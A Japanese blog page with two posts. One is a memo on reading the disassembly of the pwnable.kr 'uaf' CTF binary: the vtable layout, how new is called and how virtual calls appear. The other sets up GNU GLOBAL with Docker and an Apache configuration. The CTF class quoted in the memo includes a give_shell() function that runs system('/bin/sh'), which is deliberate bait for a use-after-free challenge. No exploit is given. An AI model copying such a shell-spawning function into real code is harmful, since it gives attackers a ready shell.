c++で書かれたコードのアセンブリの読み方めも

http://pwnable.kr/play.phpのuafがc++で書かれていたので読む必要が有ったので今後のためにもメモ程度に覚書を。今回はgdbのdisasとかobjdumpでアセンブリを読む時にnewはどのように呼んでいるるのかとかのめもです。

読んでいるバイナリのタイプはLinuxのELF64です。 基本的にはcHumanというクラスが有って、このクラスを継承したManとWomanというクラスがあります。main関数では最初にManとWomanのクラスのインスタンスをnewして作成します。そして、virtual関数のintroduce()を呼びます。

やっている処理のc++のコードを単純に書くとこんな感じになります。

Human *m = new Man("hoge", 1);
m->introduce();

Humanクラスはこのようなクラスです。

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

main関数のディスアセンブル結果はこちらです。

0000000000400ec4 <main>:
  400ec4:   55                     push   %rbp
  400ec5:   48 89 e5               mov    %rsp,%rbp
  400ec8:   41 54                 push   %r12
  400eca:   53                     push   %rbx
  400ecb:   48 83 ec 50           sub    $0x50,%rsp
  400ecf:   89 7d ac                mov    %edi,-0x54(%rbp)
  400ed2:   48 89 75 a0           mov    %rsi,-0x60(%rbp)
  400ed6:   48 8d 45 ee            lea    -0x12(%rbp),%rax
  400eda:   48 89 c7               mov    %rax,%rdi
  400edd:   e8 8e fe ff ff          callq  400d70 <_ZNSaIcEC1Ev@plt>
  400ee2:   48 8d 55 ee            lea    -0x12(%rbp),%rdx
  400ee6:   48 8d 45 b0            lea    -0x50(%rbp),%rax
  400eea:   be f0 14 40 00         mov    $0x4014f0,%esi
  400eef:   48 89 c7               mov    %rax,%rdi
  400ef2:   e8 19 fe ff ff         callq  400d10 <_ZNSsC1EPKcRKSaIcE@plt>
  400ef7:   4c 8d 65 b0             lea    -0x50(%rbp),%r12
  400efb:   bf 18 00 00 00         mov    $0x18,%edi
  400f00:   e8 8b fe ff ff          callq  400d90 <_Znwm@plt>
  400f05:   48 89 c3               mov    %rax,%rbx
  400f08:   ba 19 00 00 00         mov    $0x19,%edx
  400f0d:   4c 89 e6                mov    %r12,%rsi
  400f10:   48 89 df               mov    %rbx,%rdi
  400f13:   e8 4c 03 00 00          callq  401264 <_ZN3ManC1ESsi>
  400f18:   48 89 5d c8            mov    %rbx,-0x38(%rbp)
  400f1c:   48 8d 45 b0            lea    -0x50(%rbp),%rax
  400f20:   48 89 c7               mov    %rax,%rdi
  400f23:   e8 d8 fd ff ff           callq  400d00 <_ZNSsD1Ev@plt>
  400f28:   48 8d 45 ee            lea    -0x12(%rbp),%rax
  400f2c:   48 89 c7               mov    %rax,%rdi
  400f2f:   e8 0c fe ff ff           callq  400d40 <_ZNSaIcED1Ev@plt>
  400f34:   48 8d 45 ef            lea    -0x11(%rbp),%rax
  400f38:   48 89 c7               mov    %rax,%rdi
  400f3b:   e8 30 fe ff ff         callq  400d70 <_ZNSaIcEC1Ev@plt>
  400f40:   48 8d 55 ef            lea    -0x11(%rbp),%rdx
  400f44:   48 8d 45 c0            lea    -0x40(%rbp),%rax
  400f48:   be f5 14 40 00         mov    $0x4014f5,%esi
  400f4d:   48 89 c7               mov    %rax,%rdi
  400f50:   e8 bb fd ff ff           callq  400d10 <_ZNSsC1EPKcRKSaIcE@plt>
  400f55:   4c 8d 65 c0             lea    -0x40(%rbp),%r12
  400f59:   bf 18 00 00 00         mov    $0x18,%edi
  400f5e:   e8 2d fe ff ff          callq  400d90 <_Znwm@plt>
  400f63:   48 89 c3               mov    %rax,%rbx
  400f66:   ba 15 00 00 00         mov    $0x15,%edx
  400f6b:   4c 89 e6                mov    %r12,%rsi
  400f6e:   48 89 df               mov    %rbx,%rdi
  400f71:   e8 92 03 00 00         callq  401308 <_ZN5WomanC1ESsi>
  400f76:   48 89 5d d0            mov    %rbx,-0x30(%rbp)
  400f7a:   48 8d 45 c0            lea    -0x40(%rbp),%rax
  400f7e:   48 89 c7               mov    %rax,%rdi
  400f81:   e8 7a fd ff ff          callq  400d00 <_ZNSsD1Ev@plt>
  400f86:   48 8d 45 ef            lea    -0x11(%rbp),%rax
  400f8a:   48 89 c7               mov    %rax,%rdi
  400f8d:   e8 ae fd ff ff           callq  400d40 <_ZNSaIcED1Ev@plt>
  400f92:   be fa 14 40 00         mov    $0x4014fa,%esi
  400f97:   bf 60 22 60 00           mov    $0x602260,%edi
  400f9c:   e8 4f fd ff ff          callq  400cf0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  400fa1:   48 8d 45 e8            lea    -0x18(%rbp),%rax
  400fa5:   48 89 c6               mov    %rax,%rsi
  400fa8:   bf e0 20 60 00         mov    $0x6020e0,%edi
  400fad:   e8 1e fe ff ff          callq  400dd0 <_ZNSirsERj@plt>
  400fb2:   8b 45 e8                mov    -0x18(%rbp),%eax
  400fb5:   83 f8 02               cmp    $0x2,%eax
  400fb8:   74 46                 je     401000 <main+0x13c>
  400fba:   83 f8 03               cmp    $0x3,%eax
  400fbd:   0f 84 b3 00 00 00       je     401076 <main+0x1b2>
  400fc3:   83 f8 01               cmp    $0x1,%eax
  400fc6:   74 05                 je     400fcd <main+0x109>
  400fc8:   e9 dc 00 00 00           jmpq   4010a9 <main+0x1e5>
  400fcd:   48 8b 45 c8            mov    -0x38(%rbp),%rax
  400fd1:   48 8b 00              mov    (%rax),%rax
  400fd4:   48 83 c0 08           add    $0x8,%rax
  400fd8:   48 8b 10              mov    (%rax),%rdx
  400fdb:   48 8b 45 c8            mov    -0x38(%rbp),%rax
  400fdf:   48 89 c7               mov    %rax,%rdi
  400fe2:   ff d2                 callq  *%rdx
  400fe4:   48 8b 45 d0            mov    -0x30(%rbp),%rax
  400fe8:   48 8b 00              mov    (%rax),%rax
  400feb:   48 83 c0 08           add    $0x8,%rax
  400fef:   48 8b 10              mov    (%rax),%rdx
  400ff2:   48 8b 45 d0            mov    -0x30(%rbp),%rax
  400ff6:   48 89 c7               mov    %rax,%rdi
  400ff9:   ff d2                 callq  *%rdx
  400ffb:   e9 a9 00 00 00           jmpq   4010a9 <main+0x1e5>
  401000:  48 8b 45 a0            mov    -0x60(%rbp),%rax
  401004:  48 83 c0 08           add    $0x8,%rax
  401008:  48 8b 00              mov    (%rax),%rax
  40100b:   48 89 c7               mov    %rax,%rdi
  40100e:   e8 0d fd ff ff           callq  400d20 <atoi@plt>
  401013:  48 98                 cltq   
  401015:  48 89 45 d8           mov    %rax,-0x28(%rbp)
  401019:  48 8b 45 d8            mov    -0x28(%rbp),%rax
  40101d:   48 89 c7               mov    %rax,%rdi
  401020:  e8 4b fc ff ff          callq  400c70 <_Znam@plt>
  401025:  48 89 45 e0           mov    %rax,-0x20(%rbp)
  401029:  48 8b 45 a0            mov    -0x60(%rbp),%rax
  40102d:   48 83 c0 10           add    $0x10,%rax
  401031:  48 8b 00              mov    (%rax),%rax
  401034:  be 00 00 00 00          mov    $0x0,%esi
  401039:  48 89 c7               mov    %rax,%rdi
  40103c:   b8 00 00 00 00          mov    $0x0,%eax
  401041:  e8 7a fd ff ff          callq  400dc0 <open@plt>
  401046:  48 8b 55 d8            mov    -0x28(%rbp),%rdx
  40104a:   48 8b 4d e0             mov    -0x20(%rbp),%rcx
  40104e:   48 89 ce               mov    %rcx,%rsi
  401051:  89 c7                   mov    %eax,%edi
  401053:  e8 48 fc ff ff         callq  400ca0 <read@plt>
  401058:  be 13 15 40 00           mov    $0x401513,%esi
  40105d:   bf 60 22 60 00           mov    $0x602260,%edi
  401062:  e8 89 fc ff ff         callq  400cf0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  401067:  be 60 0d 40 00         mov    $0x400d60,%esi
  40106c:   48 89 c7               mov    %rax,%rdi
  40106f:   e8 dc fc ff ff           callq  400d50 <_ZNSolsEPFRSoS_E@plt>
  401074:  eb 33                   jmp    4010a9 <main+0x1e5>
  401076:  48 8b 5d c8             mov    -0x38(%rbp),%rbx
  40107a:   48 85 db               test   %rbx,%rbx
  40107d:   74 10                 je     40108f <main+0x1cb>
  40107f:   48 89 df               mov    %rbx,%rdi
  401082:  e8 b3 01 00 00           callq  40123a <_ZN5HumanD1Ev>
  401087:  48 89 df               mov    %rbx,%rdi
  40108a:   e8 f1 fb ff ff           callq  400c80 <_ZdlPv@plt>
  40108f:   48 8b 5d d0             mov    -0x30(%rbp),%rbx
  401093:  48 85 db               test   %rbx,%rbx
  401096:  74 10                 je     4010a8 <main+0x1e4>
  401098:  48 89 df               mov    %rbx,%rdi
  40109b:   e8 9a 01 00 00          callq  40123a <_ZN5HumanD1Ev>
  4010a0:   48 89 df               mov    %rbx,%rdi
  4010a3:   e8 d8 fb ff ff           callq  400c80 <_ZdlPv@plt>
  4010a8:   90                     nop
  4010a9:   e9 e4 fe ff ff           jmpq   400f92 <main+0xce>
  4010ae:   49 89 c4               mov    %rax,%r12
  4010b1:   48 89 df               mov    %rbx,%rdi
  4010b4:   e8 c7 fb ff ff           callq  400c80 <_ZdlPv@plt>
  4010b9:   4c 89 e3                mov    %r12,%rbx
  4010bc:   eb 03                   jmp    4010c1 <main+0x1fd>
  4010be:   48 89 c3               mov    %rax,%rbx
  4010c1:   48 8d 45 b0            lea    -0x50(%rbp),%rax
  4010c5:   48 89 c7               mov    %rax,%rdi
  4010c8:   e8 33 fc ff ff         callq  400d00 <_ZNSsD1Ev@plt>
  4010cd:   eb 03                   jmp    4010d2 <main+0x20e>
  4010cf:   48 89 c3               mov    %rax,%rbx
  4010d2:   48 8d 45 ee            lea    -0x12(%rbp),%rax
  4010d6:   48 89 c7               mov    %rax,%rdi
  4010d9:   e8 62 fc ff ff         callq  400d40 <_ZNSaIcED1Ev@plt>
  4010de:   48 89 d8               mov    %rbx,%rax
  4010e1:   48 89 c7               mov    %rax,%rdi
  4010e4:   e8 b7 fc ff ff           callq  400da0 <_Unwind_Resume@plt>
  4010e9:   49 89 c4               mov    %rax,%r12
  4010ec:   48 89 df               mov    %rbx,%rdi
  4010ef:   e8 8c fb ff ff          callq  400c80 <_ZdlPv@plt>
  4010f4:   4c 89 e3                mov    %r12,%rbx
  4010f7:   eb 03                   jmp    4010fc <main+0x238>
  4010f9:   48 89 c3               mov    %rax,%rbx
  4010fc:   48 8d 45 c0            lea    -0x40(%rbp),%rax
  401100:  48 89 c7               mov    %rax,%rdi
  401103:  e8 f8 fb ff ff           callq  400d00 <_ZNSsD1Ev@plt>
  401108:  eb 03                   jmp    40110d <main+0x249>
  40110a:   48 89 c3               mov    %rax,%rbx
  40110d:   48 8d 45 ef            lea    -0x11(%rbp),%rax
  401111:  48 89 c7               mov    %rax,%rdi
  401114:  e8 27 fc ff ff         callq  400d40 <_ZNSaIcED1Ev@plt>
  401119:  48 89 d8               mov    %rbx,%rax
  40111c:   48 89 c7               mov    %rax,%rdi
  40111f:   e8 7c fc ff ff          callq  400da0 <_Unwind_Resume@plt>

c++のクラスのインスタン生成時の細かい挙動はわからないんですが(´・ω・`)、newしているのは↓の部分です。

  400f59:    bf 18 00 00 00         mov    $0x18,%edi
  400f5e:   e8 2d fe ff ff          callq  400d90 <_Znwm@plt>

stackoverflowによると、_Znwmがnewで、

operator new(unsigned long)

_Znamがnew[]のようです。

operator new[](unsigned long)

今回のコード以下のような処理なので、前者の方を使ってます。サイズとして0x18を渡しています。

  400f59:    bf 18 00 00 00         mov    $0x18,%edi
  400f5e:   e8 2d fe ff ff          callq  400d90 <_Znwm@plt>

newの呼び出しはこんな感じで、次にいって、virtual関数の呼び出し部分を見てみます。

m->introduce()をやっているのがこの部分です。

  400fcd:    48 8b 45 c8            mov    -0x38(%rbp),%rax
  400fd1:   48 8b 00              mov    (%rax),%rax
  400fd4:   48 83 c0 08           add    $0x8,%rax
  400fd8:   48 8b 10              mov    (%rax),%rdx
  400fdb:   48 8b 45 c8            mov    -0x38(%rbp),%rax
  400fdf:   48 89 c7               mov    %rax,%rdi
  400fe2:   ff d2                 callq  *%rdx

アドレス0x400fcdのところは変数mのアドレスををraxレジスタに入れます。 そして、0x400fd1でraxが指す先のアドレスがraxの値が入ります。0x400fd1を実行するとraxはgive_shell()のアドレスになります。そして、0x400fd4ではraxに8を足すのでintroduce()のアドレスを指すようになります。呼び出す関数の設定の最後にraxの指す先のアドレスをrdxにコピーします。 つぎに、再度mのアドレスをraxにコピーします。そして、それをそのままrdiに入れます。最後にrdxが指すアドレスにある関数を呼び出します。これでm->introduce()の呼び出しになります。

ちなみに、問題のほうは無事にクリアしてます(∩´∀`)∩ワーイ

f:id:masami256:20161225214740p:plain

レガシーコード改善ガイド

レガシーコード改善ガイド

Docker + GNU GLOBALで手軽にソースコードリーディング環境を作る

Kia Ora! この記事はプロ生ちゃん Advent Calendar 2016の16日目の記事です。 2015年bash-completionでコマンド補完するときにプロ生ちゃんに何か言ってもらう - φ(・・*)ゞ ウーン カーネルとか弄ったりのメモなんて記事を書きました。2014年はプロ生ちゃん Advent Calenderではないけど、 systemdでshutdown時にプロ生ちゃんに挨拶してもらう - φ(・・*)ゞ ウーン カーネルとか弄ったりのメモなんてネタを書いたりしました。

今年はすぱこー焼きそばソースを頂きました(∩´∀`)∩ワーイ

今年はプロ生ちゃん要素はこれくらいしかありません(´・ω・`)

では、気を取り直してタイトルを回収します。ソースコードリーディングする時にvimとかemacsならctags等を使ってタグジャンプとかしたりすると思います。ブラウザで動作するものだと Linux/ - Linux Cross Reference - Free Electronsで使っているLXR、またはGNU GLOBALなんかが有名かなと思います。今回はGNU GLOBALを使ってコードリーディング環境を作ります。

GNU GLOBALはgtagsとhtagsという2個のコマンドがあり、タギングに関してはgtagsが行います。htagsのほうはgtagsで作ったtagを解析してHTMLとして見れるようにするものです。なのでvim等のエディタで見る場合、gtagsだけも十分だったりします。ブラウザで見れるようにしたいという場合にhtagsの出番になります。 また、htagsで出力したHTMLファイルは関数名等にリンクが付くのでWEBサーバ無しで閲覧可能です。検索機能を使いたい場合はcgiを使うためWEBサーバが必要になります。 Dockerで環境作れるようにするとWEBサーバの設定とか楽だよねってなる感じですね。

今回はGNU Helloのソースを読む環境を作ってみます。ソースコードgitでcloneできます。

ディレクトリ構成はこのようになっています。cgiの実行にWEBサーバ必要なので、今回は手軽にapache2を選択しました。

global/ --- docker-compose.yml
        |-- Dockerfile
        |-- httpd.conf
        |-- hello/

Dockerfileはこうなります。ディストリビューションAlpine Linuxの最新です。選択理由は軽めなディストリビューションというところと、個人的な趣味です。Alpine LinuxはtestingリポジトリGNU GLOBALの最新バージョンがあるため、edge/testingを有効にしています。edge/testing以外のリポジトリにはGNU GLOBALはありません。その他は動作に必要なパッケージをインストールしてます。手軽に済ませたかったので1dockerファイル・1プロジェクト的になってますが、httpd.confの設定次第で複数のプロジェクトのコードを閲覧する環境にしても良いかと思います。 全文検索に使うcgiのファイルはperlとかglobalのパスが/usr/local/binを見ているので、/usr/bin/に直したりしてます。htagsのオプションはlinuxカーネル用に作ったときは「-anfvF」にしました。

FROM alpine:latest

RUN apk add global --update-cache --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted && \
apk add py-pip ctags && \
apk add apache2 perl && \
pip install Pygments

RUN mkdir -p /opt/global && \
mkdir -p /run/apache2

COPY httpd.conf /etc/apache2/httpd.conf
COPY ./hello /opt/global/hello

WORKDIR /opt/global/hello

RUN gtags -v && \
htags -aosnfvF

RUN sed -i 's/\/opt\/local\/bin\/perl/\/usr\/bin\/perl/' HTML/cgi-bin/global.cgi
RUN sed -i 's/\/usr\/local\/bin\/global/\/usr\/bin\/global/' HTML/cgi-bin/global.cgi

CMD /usr/sbin/httpd -D FOREGROUND -f /etc/apache2/httpd.conf

docker-compose.ymlは特にこれと言ったことはしてません。

global:
  build: .
  ports:
    - 8080:80

httpd.confはそのまま貼り付けましたが、こんな感じです。

#
# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See <URL:http://httpd.apache.org/docs/2.4/> for detailed information.
# In particular, see
# <URL:http://httpd.apache.org/docs/2.4/mod/directives.html>
# for a discussion of each configuration directive.
#
# Do NOT simply read the instructions in here without understanding
# what they do.  They're here only as hints or reminders.  If you are unsure
# consult the online docs. You have been warned.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path.  If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "logs/access_log"
# with ServerRoot set to "/usr/local/apache2" will be interpreted by the
# server as "/usr/local/apache2/logs/access_log", whereas "/logs/access_log"
# will be interpreted as '/logs/access_log'.

#
# ServerTokens
# This directive configures what you return as the Server HTTP response
# Header. The default is 'Full' which sends information about the OS-Type
# and compiled in modules.
# Set to one of:  Full | OS | Minor | Minimal | Major | Prod
# where Full conveys the most information, and Prod the least.
#
ServerTokens OS

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# Do not add a slash at the end of the directory path.  If you point
# ServerRoot at a non-local disk, be sure to specify a local disk on the
# Mutex directive, if file-based mutexes are used.  If you wish to share the
# same ServerRoot for multiple httpd daemons, you will need to change at
# least PidFile.
#
ServerRoot /var/www

#
# Mutex: Allows you to set the mutex mechanism and mutex file directory
# for individual mutexes, or change the global defaults
#
# Uncomment and change the directory if mutexes are file-based and the default
# mutex file directory is not on a local disk or is not appropriate for some
# other reason.
#
# Mutex default:/run/apache2

#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the <VirtualHost>
# directive.
#
# Change this to Listen on specific IP addresses as shown below to
# prevent Apache from glomming onto all bound IP addresses.
#
#Listen 12.34.56.78:80
Listen 80

#
# Dynamic Shared Object (DSO) Support
#
# To be able to use the functionality of a module which was built as a DSO you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available _before_ they are used.
# Statically compiled modules (those listed by `httpd -l') do not need
# to be loaded here.
#
# Example:
# LoadModule foo_module modules/mod_foo.so
#
LoadModule authn_file_module modules/mod_authn_file.so
#LoadModule authn_dbm_module modules/mod_authn_dbm.so
#LoadModule authn_anon_module modules/mod_authn_anon.so
#LoadModule authn_dbd_module modules/mod_authn_dbd.so
#LoadModule authn_socache_module modules/mod_authn_socache.so
LoadModule authn_core_module modules/mod_authn_core.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_user_module modules/mod_authz_user.so
#LoadModule authz_dbm_module modules/mod_authz_dbm.so
#LoadModule authz_owner_module modules/mod_authz_owner.so
#LoadModule authz_dbd_module modules/mod_authz_dbd.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule access_compat_module modules/mod_access_compat.so
LoadModule auth_basic_module modules/mod_auth_basic.so
#LoadModule auth_form_module modules/mod_auth_form.so
#LoadModule auth_digest_module modules/mod_auth_digest.so
#LoadModule allowmethods_module modules/mod_allowmethods.so
#LoadModule file_cache_module modules/mod_file_cache.so
#LoadModule cache_module modules/mod_cache.so
#LoadModule cache_disk_module modules/mod_cache_disk.so
#LoadModule cache_socache_module modules/mod_cache_socache.so
#LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
#LoadModule socache_dbm_module modules/mod_socache_dbm.so
#LoadModule socache_memcache_module modules/mod_socache_memcache.so
#LoadModule watchdog_module modules/mod_watchdog.so
#LoadModule macro_module modules/mod_macro.so
#LoadModule dbd_module modules/mod_dbd.so
#LoadModule dumpio_module modules/mod_dumpio.so
#LoadModule echo_module modules/mod_echo.so
#LoadModule buffer_module modules/mod_buffer.so
#LoadModule data_module modules/mod_data.so
#LoadModule ratelimit_module modules/mod_ratelimit.so
LoadModule reqtimeout_module modules/mod_reqtimeout.so
#LoadModule ext_filter_module modules/mod_ext_filter.so
#LoadModule request_module modules/mod_request.so
#LoadModule include_module modules/mod_include.so
LoadModule filter_module modules/mod_filter.so
#LoadModule reflector_module modules/mod_reflector.so
#LoadModule substitute_module modules/mod_substitute.so
#LoadModule sed_module modules/mod_sed.so
#LoadModule charset_lite_module modules/mod_charset_lite.so
#LoadModule deflate_module modules/mod_deflate.so
LoadModule mime_module modules/mod_mime.so
LoadModule log_config_module modules/mod_log_config.so
#LoadModule log_debug_module modules/mod_log_debug.so
#LoadModule log_forensic_module modules/mod_log_forensic.so
#LoadModule logio_module modules/mod_logio.so
LoadModule env_module modules/mod_env.so
#LoadModule mime_magic_module modules/mod_mime_magic.so
#LoadModule expires_module modules/mod_expires.so
LoadModule headers_module modules/mod_headers.so
#LoadModule usertrack_module modules/mod_usertrack.so
#LoadModule unique_id_module modules/mod_unique_id.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule version_module modules/mod_version.so
#LoadModule remoteip_module modules/mod_remoteip.so
#LoadModule session_module modules/mod_session.so
#LoadModule session_cookie_module modules/mod_session_cookie.so
#LoadModule session_dbd_module modules/mod_session_dbd.so
#LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
#LoadModule slotmem_plain_module modules/mod_slotmem_plain.so
#LoadModule dialup_module modules/mod_dialup.so
#LoadModule mpm_event_module modules/mod_mpm_event.so
LoadModule mpm_prefork_module modules/mod_mpm_prefork.so
#LoadModule mpm_worker_module modules/mod_mpm_worker.so
LoadModule unixd_module modules/mod_unixd.so
#LoadModule heartbeat_module modules/mod_heartbeat.so
#LoadModule heartmonitor_module modules/mod_heartmonitor.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
#LoadModule asis_module modules/mod_asis.so
#LoadModule info_module modules/mod_info.so
#LoadModule suexec_module modules/mod_suexec.so
<IfModule !mpm_prefork_module>
        #LoadModule cgid_module modules/mod_cgid.so
</IfModule>
<IfModule mpm_prefork_module>
        LoadModule cgi_module modules/mod_cgi.so
</IfModule>
#LoadModule vhost_alias_module modules/mod_vhost_alias.so
#LoadModule negotiation_module modules/mod_negotiation.so
LoadModule dir_module modules/mod_dir.so
#LoadModule actions_module modules/mod_actions.so
#LoadModule speling_module modules/mod_speling.so
#LoadModule userdir_module modules/mod_userdir.so
LoadModule alias_module modules/mod_alias.so
#LoadModule rewrite_module modules/mod_rewrite.so

LoadModule negotiation_module modules/mod_negotiation.so

<IfModule unixd_module>
#
# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.
#
# User/Group: The name (or #number) of the user/group to run httpd as.
# It is usually good practice to create a dedicated user and group for
# running httpd, as with most system services.
#
User apache
Group apache

</IfModule>

# 'Main' server configuration
#
# The directives in this section set up the values used by the 'main'
# server, which responds to any requests that aren't handled by a
# <VirtualHost> definition.  These values also provide defaults for
# any <VirtualHost> containers you may define later in the file.
#
# All of these directives may appear inside <VirtualHost> containers,
# in which case these default settings will be overridden for the
# virtual host being defined.
#

#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed.  This address appears on some server-generated pages, such
# as error documents.  e.g. admin@your-domain.com
#
ServerAdmin you@example.com

#
# Optionally add a line containing the server version and virtual host
# name to server-generated pages (internal error documents, FTP directory
# listings, mod_status and mod_info output etc., but not CGI generated
# documents or custom error documents).
# Set to "EMail" to also include a mailto: link to the ServerAdmin.
# Set to one of:  On | Off | EMail
#
ServerSignature On

#
# ServerName gives the name and port that the server uses to identify itself.
# This can often be determined automatically, but we recommend you specify
# it explicitly to prevent problems during startup.
#
# If your host doesn't have a registered DNS name, enter its IP address here.
#
#ServerName www.example.com:80
ServerName localhost:80

#
# Deny access to the entirety of your server's filesystem. You must
# explicitly permit access to web content directories in other
# <Directory> blocks below.
#
<Directory />
    AllowOverride none
    Require all denied
</Directory>

#
# Note that from this point forward you must specifically allow
# particular features to be enabled - so if something's not working as
# you might expect, make sure that you have specifically enabled it
# below.
#

#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "/opt/global/hello/HTML"
<Directory "/opt/global/hello/HTML">
    #
    # Possible values for the Options directive are "None", "All",
    # or any combination of:
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    # The Options directive is both complicated and important.  Please see
    # http://httpd.apache.org/docs/2.4/mod/core.html#options
    # for more information.
    #
    Options Indexes FollowSymLinks

    #
    # AllowOverride controls what directives may be placed in .htaccess files.
    # It can be "All", "None", or any combination of the keywords:
    #   AllowOverride FileInfo AuthConfig Limit
    #
    AllowOverride None

    #
    # Controls who can get stuff from this server.
    #
    Require all granted
</Directory>

#
# DirectoryIndex: sets the file that Apache will serve if a directory
# is requested.
#
<IfModule dir_module>
    DirectoryIndex index.html
</IfModule>

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ".ht*">
    Require all denied
</Files>

#
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog logs/error.log

#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn

<IfModule log_config_module>
    #
    # The following directives define some format nicknames for use with
    # a CustomLog directive (see below).
    #
    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    LogFormat "%h %l %u %t \"%r\" %>s %b" common

    <IfModule logio_module>
      # You need to enable mod_logio.c to use %I and %O
      LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
    </IfModule>

    #
    # The location and format of the access logfile (Common Logfile Format).
    # If you do not define any access logfiles within a <VirtualHost>
    # container, they will be logged here.  Contrariwise, if you *do*
    # define per-<VirtualHost> access logfiles, transactions will be
    # logged therein and *not* in this file.
    #
    #CustomLog logs/access.log common

    #
    # If you prefer a logfile with access, agent, and referer information
    # (Combined Logfile Format) you can use the following directive.
    #
    CustomLog logs/access.log combined
</IfModule>

<IfModule alias_module>
    #
    # Redirect: Allows you to tell clients about documents that used to
    # exist in your server's namespace, but do not anymore. The client
    # will make a new request for the document at its new location.
    # Example:
    # Redirect permanent /foo http://www.example.com/bar

    #
    # Alias: Maps web paths into filesystem paths and is used to
    # access content that does not live under the DocumentRoot.
    # Example:
    # Alias /webpath /full/filesystem/path
    #
    # If you include a trailing / on /webpath then the server will
    # require it to be present in the URL.  You will also likely
    # need to provide a <Directory> section to allow access to
    # the filesystem path.

    #
    # ScriptAlias: This controls which directories contain server scripts.
    # ScriptAliases are essentially the same as Aliases, except that
    # documents in the target directory are treated as applications and
    # run by the server when requested rather than as documents sent to the
    # client.  The same rules about trailing "/" apply to ScriptAlias
    # directives as to Alias.
    #
    ScriptAlias /cgi-bin/ "/opt/global/hello/HTML/cgi-bin/"

</IfModule>

<IfModule cgid_module>
    #
    # ScriptSock: On threaded servers, designate the path to the UNIX
    # socket used to communicate with the CGI daemon of mod_cgid.
    #
    #Scriptsock cgisock
</IfModule>

#
# "/var/www/localhost/cgi-bin" should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#
<Directory "/opt/global/hello/HTML/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
    Require all granted
</Directory>

<IfModule mime_module>
    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig /etc/apache2/mime.types

    #
    # AddType allows you to add to or override the MIME configuration
    # file specified in TypesConfig for specific file types.
    #
    #AddType application/x-gzip .tgz
    #
    # AddEncoding allows you to have certain browsers uncompress
    # information on the fly. Note: Not all browsers support this.
    #
    #AddEncoding x-compress .Z
    #AddEncoding x-gzip .gz .tgz
    #
    # If the AddEncoding directives above are commented-out, then you
    # probably should define those extensions to indicate media types:
    #
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz

    #
    # AddHandler allows you to map certain file extensions to "handlers":
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action directive (see below)
    #
    # To use CGI scripts outside of ScriptAliased directories:
    # (You will also need to add "ExecCGI" to the "Options" directive.)
    #
    AddHandler cgi-script .cgi

    # For type maps (negotiated resources):
    #AddHandler type-map var

    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml
</IfModule>

#
# The mod_mime_magic module allows the server to use various hints from the
# contents of the file itself to determine its type.  The MIMEMagicFile
# directive tells the module where the hint definitions are located.
#
<IfModule mime_magic_module>
    MIMEMagicFile /etc/apache2/magic
</IfModule>

#
# Customizable error responses come in three flavors:
# 1) plain text 2) local redirects 3) external redirects
#
# Some examples:
#ErrorDocument 500 "The server made a boo boo."
#ErrorDocument 404 /missing.html
#ErrorDocument 404 "/cgi-bin/missing_handler.pl"
#ErrorDocument 402 http://www.example.com/subscription_info.html
#

#
# MaxRanges: Maximum number of Ranges in a request before
# returning the entire resource, or one of the special
# values 'default', 'none' or 'unlimited'.
# Default setting is to accept 200 Ranges.
#MaxRanges unlimited

#
# EnableMMAP and EnableSendfile: On systems that support it,
# memory-mapping or the sendfile syscall may be used to deliver
# files.  This usually improves server performance, but must
# be turned off when serving from networked-mounted
# filesystems or if support for these functions is otherwise
# broken on your system.
# Defaults: EnableMMAP On, EnableSendfile Off
#
#EnableMMAP off
#EnableSendfile on

# Load config files from the config directory "/etc/apache2/conf.d".
#
IncludeOptional /etc/apache2/conf.d/*.conf

あとはdocker-compose up --buildして、ブラウザでhttp://localhost:8080/にアクセスすればこのようにTOP画面が表示されます。

f:id:masami256:20161215004524p:plain

